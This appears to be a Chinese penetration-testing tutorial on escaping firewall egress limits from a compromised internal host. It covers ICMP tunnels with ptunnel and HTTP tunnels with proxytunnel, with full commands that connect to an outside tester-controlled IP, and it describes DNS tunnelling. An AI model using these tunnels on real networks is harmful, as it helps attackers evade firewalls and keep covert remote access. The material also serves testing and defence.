一、ICMP隧道
背景:已經通過某種手段拿到了園區網A主機的控制權,但是邊界防火牆只放行該主機向外的ICMP流量,此時怎樣才能讓A主機和公網主機C建立TCP連接呢?
方案:將TCP包內容包裹在ICMP中進行傳遞
工具: ptunnel
工作原理:A主機通過周期性向滲透測試工程師發送ICMP請求以建立ICMP連接。在本地偵聽一個空閑端口並與指定IP的指定端口(C主機)建立映射。此時訪問偵聽的這個端口就相當於訪問公網指定IP的指定端口了(C主機)
隧道建立命令:
滲透測試工程師端(開啟這個程序后本地不會偵聽任何端口,因為它用的是ICMP,既不屬於TCP也不屬於UDP):
ptunnel -x passwd
參數說明:
-x:密碼
A主機端:
ptunnel -p 120.1.1.1 -lp 8000 -da 180.1.1.1 -dp 80 -x passwd
參數說明:
-p:滲透測試工程師IP地址
-lp:本地偵聽端口
-da:C主機
-dp:C主機端口
-x:密碼
驗證:此時在A主機將偵聽8000端口,A、B主機此時連接A主機8000端口的TCP流量均被導入C主機的80端口
缺點:唯一的缺點是運行此程序需要root權限
提醒:如果覺得每個隧道只能映射一個公網地址有局限性,可以配合SSH動態端口使用。通過此方法建立ICMP隧道后,再在此隧道內建立一條SSH動態端口轉發隧道就可以訪問公網任意地址了
二、http隧道
背景:已經通過某種手段拿到了園區網內A主機的控制權,但是邊界防火牆只放行代理服務器的出向流量,可是又想用A主機與外面的PC建立ssh連接時該怎么辦?
方案:讓http代理服務器代替A主機與PC建立ssh連接
工作原理:在本地偵聽一個空閑端口,並將PC的22端口映射至該偵聽端口,然后將通往PC22端口的流量包裹進代理服務器的http包中,代理服務器將代替A主機與PC建立ssh連接,然后將回包通過http反還給A主機。此時園區網內所有設備只要sshA主機偵聽的端口,流量就會被導入PC的22端口。(另外該方案還支持代理鏈,即通過代理服務器連接至外網的某一代理服務器,再通過該代理服務器與PC建立ssh連接)
隧道建立命令:proxytunnel -a 2222 -p 10.1.1.1:3128 -r 180.1.1.1:80 -d 120.1.1.1:22
-a:本地偵聽端口
-p: 本地官方的代理服務器
-r: 牆外的代理服務器
-d: 最終要訪問的目標
驗證:A主機將在0.0.0.0偵聽2222端口,此時園區網內任意一主機ssh主機A的2222端口都將連到PC的22端口
三、UDP隧道
背景:通過某種手段拿到了園區網A主機的控制權,卻發現邊界防火牆只放行向外的DNS請求流量,此時想要ssh公網上的B主機該怎么辦?
方案:將ssh流量包裹在DNS請求報文中
工作原理:搭建一個DNS服務器(B主機),申請域名,並確保上級DNS服務器能將該域名解析至自己的DNS服務器。A主機向公網發出DNS請求(因為A記錄長度有限,故可以請求txt這種記錄,請求的txt內容就為ssh流量),經過根DNS將流量解析至自己的DNS服務器(B主機),這樣公網的主機B就收到了A主機發來的ssh協商請求,然后B主機通過將協商內容寫入DNS應答包返回給主機A,這樣一來一回就達成了建立ssh連接的網絡環境。
由於這種隧道搭建需要一定成本(要讓根DNS解析至自己主機),所以就沒有做實驗驗證了。
需要提醒一點:大家都知道DNS會用到UDP的53端口和TCP的53端口,但需要注意的是UDP的53端口是用來做DNS查詢使用,TCP的53端口是用用於同一區域冗余DNS之間同步信息,並非這倆端口都是用來做DNS查詢的,所以網絡管理員一般在邊界防火牆只需放開UDP的53端口即可。
總結:歸根結底,每種隧道的實現其實都是將協商數據封裝至可以放行的流量中。(即:防火牆放行什么協議就將隧道協商流量封裝至什么協議)